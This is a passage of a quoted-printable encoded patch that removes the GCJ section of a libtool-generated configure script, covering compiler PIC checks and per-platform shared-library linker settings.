"$as_me:$LINENO: result: $lt_prog_compiler_pic_works_GCJ" >&5 -echo "${ECHO_T}$lt_prog_compiler_pic_works_GCJ" >&6 - -if test x"$lt_prog_compiler_pic_works_GCJ" =3D xyes; then - case $lt_prog_compiler_pic_GCJ in - "" | " "*) ;; - *) lt_prog_compiler_pic_GCJ=3D" $lt_prog_compiler_pic_GCJ" ;; - esac -else - lt_prog_compiler_pic_GCJ=3D - lt_prog_compiler_can_build_shared_GCJ=3Dno -fi - -fi -case "$host_os" in - # For platforms which do not support PIC, -DPIC is meaningless: - *djgpp*) - lt_prog_compiler_pic_GCJ=3D - ;; - *) - lt_prog_compiler_pic_GCJ=3D"$lt_prog_compiler_pic_GCJ" - ;; -esac - -echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_ob= jext" >&5 -echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... = $ECHO_C" >&6 -if test "${lt_cv_prog_compiler_c_o_GCJ+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_cv_prog_compiler_c_o_GCJ=3Dno - $rm -r conftest 2>/dev/null - mkdir conftest - cd conftest - mkdir out - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - - lt_compiler_flag=3D"-o out/conftest2.$ac_objext" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ - -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:15808: $lt_compile\"" >&5) - (eval "$lt_compile" 2>out/conftest.err) - ac_status=3D$? - cat out/conftest.err >&5 - echo "$as_me:15812: \$? =3D $ac_status" >&5 - if (exit $ac_status) && test -s out/conftest2.$ac_objext - then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - if test ! -s out/conftest.err; then - lt_cv_prog_compiler_c_o_GCJ=3Dyes - fi - fi - chmod u+w . - $rm conftest* - # SGI C++ compiler will create directory out/ii_files/ for - # template instantiation - test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files - $rm out/* && rmdir out - cd .. - rmdir conftest - $rm conftest* - -fi -echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o_GCJ" >&5 -echo "${ECHO_T}$lt_cv_prog_compiler_c_o_GCJ" >&6 - - -hard_links=3D"nottested" -if test "$lt_cv_prog_compiler_c_o_GCJ" =3D no && test "$need_locks" != =3D no; then - # do not overwrite the value of need_locks provided by the user - echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 -echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6 - hard_links=3Dyes - $rm conftest* - ln conftest.a conftest.b 2>/dev/null && hard_links=3Dno - touch conftest.a - ln conftest.a conftest.b 2>&5 || hard_links=3Dno - ln conftest.a conftest.b 2>/dev/null && hard_links=3Dno - echo "$as_me:$LINENO: result: $hard_links" >&5 -echo "${ECHO_T}$hard_links" >&6 - if test "$hard_links" =3D no; then - { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o',= so \`make -j' may be unsafe" >&5 -echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j'= may be unsafe" >&2;} - need_locks=3Dwarn - fi -else - need_locks=3Dno -fi - -echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supp= orts shared libraries" >&5 -echo $ECHO_N "checking whether the $compiler linker ($LD) supports sha= red libraries... $ECHO_C" >&6 - - runpath_var=3D - allow_undefined_flag_GCJ=3D - enable_shared_with_static_runtimes_GCJ=3Dno - archive_cmds_GCJ=3D - archive_expsym_cmds_GCJ=3D - old_archive_From_new_cmds_GCJ=3D - old_archive_from_expsyms_cmds_GCJ=3D - export_dynamic_flag_spec_GCJ=3D - whole_archive_flag_spec_GCJ=3D - thread_safe_flag_spec_GCJ=3D - hardcode_libdir_flag_spec_GCJ=3D - hardcode_libdir_flag_spec_ld_GCJ=3D - hardcode_libdir_separator_GCJ=3D - hardcode_direct_GCJ=3Dno - hardcode_minus_L_GCJ=3Dno - hardcode_shlibpath_var_GCJ=3Dunsupported - link_all_deplibs_GCJ=3Dunknown - hardcode_automatic_GCJ=3Dno - module_cmds_GCJ=3D - module_expsym_cmds_GCJ=3D - always_export_symbols_GCJ=3Dno - export_symbols_cmds_GCJ=3D'$NM $libobjs $convenience | $global_symbo= l_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' - # include_expsyms should be a list of space-separated symbols to be = *always* - # included in the symbol list - include_expsyms_GCJ=3D - # exclude_expsyms can be an extended regexp of symbols to exclude - # it will be wrapped by ` (' and `)$', so one must not match beginni= ng or - # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' a= nd `bc', - # as well as any symbol that contains `d'. - exclude_expsyms_GCJ=3D"_GLOBAL_OFFSET_TABLE_" - # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.ou= t - # platforms (ab)use it in PIC code, but their linkers get confused i= f - # the symbol is explicitly referenced. Since portable code cannot - # rely on this symbol name, it's probably fine to never include it i= n - # preloaded symbol tables. - extract_expsyms_cmds=3D - - case $host_os in - cygwin* | mingw* | pw32*) - # FIXME: the MSVC++ port hasn't been tested in a loooong time - # When not using gcc, we currently assume that we are using - # Microsoft Visual C++. - if test "$GCC" !=3D yes; then - with_gnu_ld=3Dno - fi - ;; - openbsd*) - with_gnu_ld=3Dno - ;; - esac - - ld_shlibs_GCJ=3Dyes - if test "$with_gnu_ld" =3D yes; then - # If archive_cmds runs LD, not CC, wlarc should be empty - wlarc=3D'${wl}' - - # See if GNU ld supports shared libraries. - case $host_os in - aix3* | aix4* | aix5*) - # On AIX/PPC, the GNU linker is very broken - if test "$host_cpu" !=3D ia64; then -=09ld_shlibs_GCJ=3Dno -=09cat <&2 - -*** Warning: the GNU linker, at least up to release 2.9.1, is reported -*** to be unable to reliably create shared libraries on AIX. -*** Therefore, libtool is disabling shared libraries support. If you -*** really care for shared libraries, you may want to modify your PATH -*** so that a non-GNU linker is found, and then restart. - -EOF - fi - ;; - - amigaos*) - archive_cmds_GCJ=3D'$rm $output_objdir/a2ixlibrary.data~$echo "#= define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define = LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION= $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $re= vision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~= $RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' - hardcode_libdir_flag_spec_GCJ=3D'-L$libdir' - hardcode_minus_L_GCJ=3Dyes - - # Samuel A. Falvo II reports - # that the semantics of dynamic libraries on AmigaOS, at least u= p - # to version 4, is to share data among multiple programs linked - # with the same dynamic library. Since this doesn't match the - # behavior of shared libraries on other platforms, we can't use - # them. - ld_shlibs_GCJ=3Dno - ;; - - beos*) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/nu= ll; then -=09allow_undefined_flag_GCJ=3Dunsupported -=09# Joseph Beckenbach says some releases of gcc -=09# support --undefined. This deserves some investigation. FIXME -=09archive_cmds_GCJ=3D'$CC -nostart $libobjs $deplibs $compiler_flags = ${wl}-soname $wl$soname -o $lib' - else -=09ld_shlibs_GCJ=3Dno - fi - ;; - - cygwin* | mingw* | pw32*) - # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, GCJ) is actually mean= ingless, - # as there is no search path for DLLs. - hardcode_libdir_flag_spec_GCJ=3D'-L$libdir' - allow_undefined_flag_GCJ=3Dunsupported - always_export_symbols_GCJ=3Dno - enable_shared_with_static_runtimes_GCJ=3Dyes - export_symbols_cmds_GCJ=3D'$NM $libobjs $convenience | $global_s= ymbol_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED = -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' - - if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then - archive_cmds_GCJ=3D'$CC -shared $libobjs $deplibs $compiler_fl= ags -o $output_objdir/$soname ${wl}--image-base=3D0x10000000 ${wl}--out= -implib,$lib' -=09# If the export-symbols file already is a .def file (1st line -=09# is EXPORTS), use it as is; otherwise, prepend... -=09archive_expsym_cmds_GCJ=3D'if test "x`$SED 1q $export_symbols`" =3D= xEXPORTS; then -=09 cp $export_symbols $output_objdir/$soname.def; -=09else -=09 echo EXPORTS > $output_objdir/$soname.def; -=09 cat $export_symbols >> $output_objdir/$soname.def; -=09fi~ -=09$CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_= flags -o $output_objdir/$soname ${wl}--image-base=3D0x10000000 ${wl}--= out-implib,$lib' - else -=09ld_shlibs=3Dno - fi - ;; - - netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then -=09archive_cmds_GCJ=3D'$LD -Bshareable $libobjs $deplibs $linker_flags= -o $lib' -=09wlarc=3D - else -=09archive_cmds_GCJ=3D'$CC -shared $libobjs $deplibs $compiler_flags $= {wl}-soname $wl$soname -o $lib' -=09archive_expsym_cmds_GCJ=3D'$CC -shared $libobjs $deplibs $compiler_= flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symb= ols -o $lib' - fi - ;; - - solaris* | sysv5*) - if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then -=09ld_shlibs_GCJ=3Dno -=09cat <&2 - -*** Warning: The releases 2.8.* of the GNU linker cannot reliably -*** create shared libraries on Solaris systems. Therefore, libtool -*** is disabling shared libraries support. We urge you to upgrade GNU -*** binutils to release 2.9.1 or newer. Another option is to modify -*** your PATH or compiler configuration so that the native linker is -*** used, and then restart. - -EOF - elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/= null; then -=09archive_cmds_GCJ=3D'$CC -shared $libobjs $deplibs $compiler_flags $= {wl}-soname $wl$soname -o $lib' -=09archive_expsym_cmds_GCJ=3D'$CC -shared $libobjs $deplibs $compiler_= flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symb= ols -o $lib' - else -=09ld_shlibs_GCJ=3Dno - fi - ;; - - sunos4*) - archive_cmds_GCJ=3D'$LD -assert pure-text -Bshareable -o $lib $l= ibobjs $deplibs $linker_flags' - wlarc=3D - hardcode_direct_GCJ=3Dyes - hardcode_shlibpath_var_GCJ=3Dno - ;; - - linux*) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null= ; then - tmp_archive_cmds=3D'$CC -shared $libobjs $deplibs $compiler_fl= ags ${wl}-soname $wl$soname -o $lib' -=09archive_cmds_GCJ=3D"$tmp_archive_cmds" - supports_anon_versioning=3Dno - case `$LD -v 2>/dev/null` in - *\ 01.* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 - *\ 2.11.93.0.2\ *) supports_anon_versioning=3Dyes ;; # RH7.3 .= .. - *\ 2.11.92.0.12\ *) supports_anon_versioning=3Dyes ;; # Mandra= ke 8.2 ... - *\ 2.11.*) ;; # other 2.11 versions - *) supports_anon_versioning=3Dyes ;; - esac - if test $supports_anon_versioning =3D yes; then - archive_expsym_cmds_GCJ=3D'$echo "{ global:" > $output_objdir/= $libname.ver~ -cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libnam= e.ver~ -$echo "local: *; };" >> $output_objdir/$libname.ver~ - $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl= $soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' - else - archive_expsym_cmds_GCJ=3D"$tmp_archive_cmds" - fi - else - ld_shlibs_GCJ=3Dno - fi - ;; - - *) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/nu= ll; then -=09archive_cmds_GCJ=3D'$CC -shared $libobjs $deplibs $compiler_flags $= {wl}-soname $wl$soname -o $lib' -=09archive_expsym_cmds_GCJ=3D'$CC -shared $libobjs $deplibs $compiler_= flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symb= ols -o $lib' - else -=09ld_shlibs_GCJ=3Dno - fi - ;; - esac - - if test "$ld_shlibs_GCJ" =3D yes; then - runpath_var=3DLD_RUN_PATH - hardcode_libdir_flag_spec_GCJ=3D'${wl}--rpath ${wl}$libdir' - export_dynamic_flag_spec_GCJ=3D'${wl}--export-dynamic' - # ancient GNU ld didn't support --whole-archive et. al. - if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then - =09whole_archive_flag_spec_GCJ=3D"$wlarc"'--whole-archive$convenience= '"$wlarc"'--no-whole-archive' - else - =09whole_archive_flag_spec_GCJ=3D - fi - fi - else - # PORTME fill in a description of your system's linker (not GNU ld= ) - case $host_os in - aix3*) - allow_undefined_flag_GCJ=3Dunsupported - always_export_symbols_GCJ=3Dyes - archive_expsym_cmds_GCJ=3D'$LD -o $output_objdir/$soname $libobj= s $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $A= R_FLAGS $lib $output_objdir/$soname' - # Note: this linker hardcodes the directories in LIBPATH if ther= e - # are no directories specified by -L. - hardcode_minus_L_GCJ=3Dyes - if test "$GCC" =3D yes && test -z "$link_static_flag"; then -=09# Neither direct hardcoding nor static linking is supported with a -=09# broken collect2. -=09hardcode_direct_GCJ=3Dunsupported - fi - ;; - - aix4* | aix5*) - if test "$host_cpu" =3D ia64; then -=09# On IA64, the linker does run time linking by default, so we don't -=09# have to do anything special. -=09aix_use_runtimelinking=3Dno -=09exp_sym_flag=3D'-Bexport' -=09no_entry_flag=3D"" - else -=09# If we're using GNU nm, then we don't want the "-C" option. -=09# -C means demangle to AIX nm, but means don't demangle with GNU nm -=09if $NM -V 2>&1 | grep 'GNU' > /dev/null; then -=09 export_symbols_cmds_GCJ=3D'$NM -Bpg $libobjs $convenience | awk '= \''{ if (((\$2 =3D=3D "T") || (\$2 =3D=3D "D") || (\$2 =3D=3D "B")) && = (substr(\$3,1,1) !=3D ".")) { print \$3 } }'\'' | sort -u > $export_sym= bols' -=09else -=09 export_symbols_cmds_GCJ=3D'$NM -BCpg $libobjs $convenience | awk = '\''{ if (((\$2 =3D=3D "T") || (\$2 =3D=3D "D") || (\$2 =3D=3D "B")) &&= (substr(\$3,1,1) !=3D ".")) { print \$3 } }'\'' | sort -u > $export_sy= mbols' -=09fi -=09aix_use_runtimelinking=3Dno - -=09# Test if we are trying to use run time linking or normal -=09# AIX style linking. If -brtl is somewhere in LDFLAGS, we -=09# need to do runtime linking. -=09case $host_os in aix4.[23]|aix4.[23].*|aix5*) -=09 for ld_flag in $LDFLAGS; do - =09 if (test $ld_flag =3D "-brtl" || test $ld_flag =3D "-Wl,-brtl")= ; then - =09 aix_use_runtimelinking=3Dyes - =09 break - =09 fi -=09 done -=09esac - -=09exp_sym_flag=3D'-bexport' -=09no_entry_flag=3D'-bnoentry' - fi - - # When large executables or shared objects are built, AIX ld can - # have problems creating the table of contents. If linking a li= brary - # or program results in "error TOC overflow" add -mminimal-toc t= o - # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not - # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. - - archive_cmds_GCJ=3D'' - hardcode_direct_GCJ=3Dyes - hardcode_libdir_separator_GCJ=3D':' - link_all_deplibs_GCJ=3Dyes - - if test "$GCC" =3D yes; then -=09case $host_os in aix4.012|aix4.012.*) -=09# We only want to do this on AIX 4.2 and lower, the check -=09# below for broken collect2 doesn't work under 4.3+ -=09 collect2name=3D`${CC} -print-prog-name=3Dcollect2` -=09 if test -f "$collect2name" && \ - =09 strings "$collect2name" | grep resolve_lib_name >/dev/null -=09 then - =09 # We have reworked collect2 - =09 hardcode_direct_GCJ=3Dyes -=09 else - =09 # We have old collect2 - =09 hardcode_direct_GCJ=3Dunsupported - =09 # It fails to find uninstalled libraries when the uninstalled - =09 # path is not listed in the libpath. Setting hardcode_minus_L - =09 # to unsupported forces relinking - =09 hardcode_minus_L_GCJ=3Dyes - =09 hardcode_libdir_flag_spec_GCJ=3D'-L$libdir' - =09 hardcode_libdir_separator_GCJ=3D -=09 fi -=09esac -=09shared_flag=3D'-shared' - else -=09# not using gcc -=09if test "$host_cpu" =3D ia64; then - =09# VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release - =09# chokes on -Wl,-G. The following line is correct: -=09 shared_flag=3D'-G' -=09else - =09if test "$aix_use_runtimelinking" =3D yes; then -=09 shared_flag=3D'${wl}-G' -=09 else -=09 shared_flag=3D'${wl}-bM:SRE' - =09fi -=09fi - fi - - # It seems that -bexpall does not export symbols beginning with - # underscore (_), so it is better to generate a list of symbols = to export. - always_export_symbols_GCJ=3Dyes - if test "$aix_use_runtimelinking" =3D yes; then -=09# Warning - without using the other runtime loading flags (-brtl), -=09# -berok will link without error, but may produce a broken library. -=09allow_undefined_flag_GCJ=3D'-berok' - # Determine the default libpath from the value encoded in an em= pty executable. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - -aix_libpath=3D`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/I= mport File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } -}'` -# Check for a 64-bit object if we didn't find anything. -if test -z "$aix_libpath"; then aix_libpath=3D`dump -HX64 conftest$ac_= exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/= ^0 *\(.*\)$/\1/; p; } -}'`; fi -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -if test -z "$aix_libpath"; then aix_libpath=3D"/usr/lib:/lib"; fi - - hardcode_libdir_flag_spec_GCJ=3D'${wl}-blibpath:$libdir:'"$aix_= libpath" -=09archive_expsym_cmds_GCJ=3D"\$CC"' -o $output_objdir/$soname $libobj= s $deplibs $compiler_flags `if test "x${allow_undefined_flag}" !=3D "x"= ; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_ent= ry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" - else -=09if test "$host_cpu" =3D ia64; then -=09 hardcode_libdir_flag_spec_GCJ=3D'${wl}-R $libdir:/usr/lib:/lib' -=09 allow_undefined_flag_GCJ=3D"-z nodefs" -=09 archive_expsym_cmds_GCJ=3D"\$CC $shared_flag"' -o $output_objdir/= $soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} = '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" -=09else -=09 # Determine the default libpath from the value encoded in an empty= executable. -=09 cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - -aix_libpath=3D`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/I= mport File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } -}'` -# Check for a 64-bit object if we didn't find anything. -if test -z "$aix_libpath"; then aix_libpath=3D`dump -HX64 conftest$ac_= exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/= ^0 *\(.*\)$/\1/; p; } -}'`; fi -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -if test -z "$aix_libpath"; then aix_libpath=3D"/usr/lib:/lib"; fi - -=09 hardcode_libdir_flag_spec_GCJ=3D'${wl}-blibpath:$libdir:'"$aix_lib= path" -=09 # Warning - without using the other run time loading flags, -=09 # -berok will link without error, but may produce a broken librar= y. -=09 no_undefined_flag_GCJ=3D' ${wl}-bernotok' -=09 allow_undefined_flag_GCJ=3D' ${wl}-berok' -=09 # -bexpall does not export symbols beginning with underscore (_) -=09 always_export_symbols_GCJ=3Dyes -=09 # Exported symbols can be pulled into shared objects from archive= s -=09 whole_archive_flag_spec_GCJ=3D' ' -=09 archive_cmds_need_lc_GCJ=3Dyes -=09 # This is similar to how AIX traditionally builds it's shared lib= raries. -=09 archive_expsym_cmds_GCJ=3D"\$CC $shared_flag"' -o $output_objdir/= $soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl= }-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname= $release.a $output_objdir/$soname' -=09fi - fi - ;; - - amigaos*) - archive_cmds_GCJ=3D'$rm $output_objdir/a2ixlibrary.data~$echo "#= define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define = LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION= $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $re= vision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~= $RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' - hardcode_libdir_flag_spec_GCJ=3D'-L$libdir' - hardcode_minus_L_GCJ=3Dyes - # see comment about different semantics on the GNU ld section - ld_shlibs_GCJ=3Dno - ;; - - bsdi[45]*) - export_dynamic_flag_spec_GCJ=3D-rdynamic - ;; - - cygwin* | mingw* | pw32*) - # When not using gcc, we currently assume that we are using - # Microsoft Visual C++. - # hardcode_libdir_flag_spec is actually meaningless, as there is - # no search path for DLLs. - hardcode_libdir_flag_spec_GCJ=3D' ' - allow_undefined_flag_GCJ=3Dunsupported - # Tell ltmain to make .lib files, not .a files. - libext=3Dlib - # Tell ltmain to make .dll files, not .so files. - shrext_cmds=3D".dll" - # FIXME: Setting linknames here is a bad hack. - archive_cmds_GCJ=3D'$CC -o $lib $libobjs $compiler_flags `echo "= $deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=3D' - # The linker will automatically build a .lib file if we build a = DLL. - old_archive_From_new_cmds_GCJ=3D'true' - # FIXME: Should let the user specify the lib program. - old_archive_cmds_GCJ=3D'lib /OUT:$oldlib$oldobjs$old_deplibs' - fix_srcfile_path=3D'`cygpath -w "$srcfile"`' - enable_shared_with_static_runtimes_GCJ=3Dyes - ;; - - darwin* | rhapsody*) - case "$host_os" in - rhapsody* | darwin1.[012]) - allow_undefined_flag_GCJ=3D'${wl}-undefined ${wl}suppress' - ;; - *) # Darwin 1.3 on - if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then - allow_undefined_flag_GCJ=3D'${wl}-flat_namespace ${wl}-unde= fined ${wl}suppress' - else - case ${MACOSX_DEPLOYMENT_TARGET} in - 10.[012]) - allow_undefined_flag_GCJ=3D'${wl}-flat_namespace ${wl}-= undefined ${wl}suppress' - ;; - 10.*) - allow_undefined_flag_GCJ=3D'${wl}-undefined ${wl}dynami= c_lookup' - ;; - esac - fi - ;; - esac - archive_cmds_need_lc_GCJ=3Dno - hardcode_direct_GCJ=3Dno - hardcode_automatic_GCJ=3Dyes - hardcode_shlibpath_var_GCJ=3Dunsupported - whole_archive_flag_spec_GCJ=3D'' - link_all_deplibs_GCJ=3Dyes - if test "$GCC" =3D yes ; then - =09output_verbose_link_cmd=3D'echo' - archive_cmds_GCJ=3D'$CC -dynamiclib $allow_undefined_flag -o $= lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $ver= string' - module_cmds_GCJ=3D'$CC $allow_undefined_flag -o $lib -bundle $li= bobjs $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag, it= doesn't exist in older darwin ld's - archive_expsym_cmds_GCJ=3D'sed -e "s,#.*,," -e "s,^[ ]*,," -e= "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols= .expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs= $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $out= put_objdir/${libname}-symbols.expsym ${lib}' - module_expsym_cmds_GCJ=3D'sed -e "s,#.*,," -e "s,^[ ]*,," -e = "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.= expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$com= piler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' - else - case "$cc_basename" in - xlc*) - output_verbose_link_cmd=3D'echo' - archive_cmds_GCJ=3D'$CC -qmkshrobj $allow_undefined_flag -o $= lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rp= ath/$soname` $verstring' - module_cmds_GCJ=3D'$CC $allow_undefined_flag -o $lib -bundle = $libobjs $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag= , it doesn't exist in older darwin ld's - archive_expsym_cmds_GCJ=3D'sed -e "s,#.*,," -e "s,^[ ]*,,"= -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symb= ols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $depli= bs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nm= edit -s $output_objdir/${libname}-symbols.expsym ${lib}' - module_expsym_cmds_GCJ=3D'sed -e "s,#.*,," -e "s,^[ ]*,,"= -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symb= ols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs= $compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${li= b}' - ;; - *) - ld_shlibs_GCJ=3Dno - ;; - esac - fi - ;; - - dgux*) - archive_cmds_GCJ=3D'$LD -G -h $soname -o $lib $libobjs $deplibs = $linker_flags' - hardcode_libdir_flag_spec_GCJ=3D'-L$libdir' - hardcode_shlibpath_var_GCJ=3Dno - ;; - - freebsd1*) - ld_shlibs_GCJ=3Dno - ;; - - # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ const= ructor - # support. Future versions do this automatically, but an explicit= c++rt0.o - # does not break anything, and helps significantly (at the cost of= a little - # extra space). - freebsd2.2*) - archive_cmds_GCJ=3D'$LD -Bshareable -o $lib $libobjs $deplibs $l= inker_flags /usr/lib/c++rt0.o' - hardcode_libdir_flag_spec_GCJ=3D'-R$libdir' - hardcode_direct_GCJ=3Dyes - hardcode_shlibpath_var_GCJ=3Dno - ;; - - # Unfortunately, older versions of FreeBSD 2 do not have this feat= ure. - freebsd2*) - archive_cmds_GCJ=3D'$LD -Bshareable -o $lib $libobjs $deplibs $l= inker_flags' - hardcode_direct_GCJ=3Dyes - hardcode_minus_L_GCJ=3Dyes - hardcode_shlibpath_var_GCJ=3Dno - ;; - - # FreeBSD 3 and greater uses gcc -shared to do shared libraries. - freebsd* | kfreebsd*-gnu) - archive_cmds_GCJ=3D'$CC -shared -o $lib $libobjs $deplibs $compi= ler_flags' - hardcode_libdir_flag_spec_GCJ=3D'-R$libdir' - hardcode_direct_GCJ=3Dyes - hardcode_shlibpath_var_GCJ=3Dno - ;; - - hpux9*) - if test "$GCC" =3D yes; then -=09archive_cmds_GCJ=3D'$rm $output_objdir/$soname~$CC -shared -fPIC ${= wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs = $compiler_flags~test $output_objdir/$soname =3D $lib || mv $output_objd= ir/$soname $lib' - else -=09archive_cmds_GCJ=3D'$rm $output_objdir/$soname~$LD -b +b $install_l= ibdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $o= utput_objdir/$soname =3D $lib || mv $output_objdir/$soname $lib' - fi - hardcode_libdir_flag_spec_GCJ=3D'${wl}+b ${wl}$libdir' - 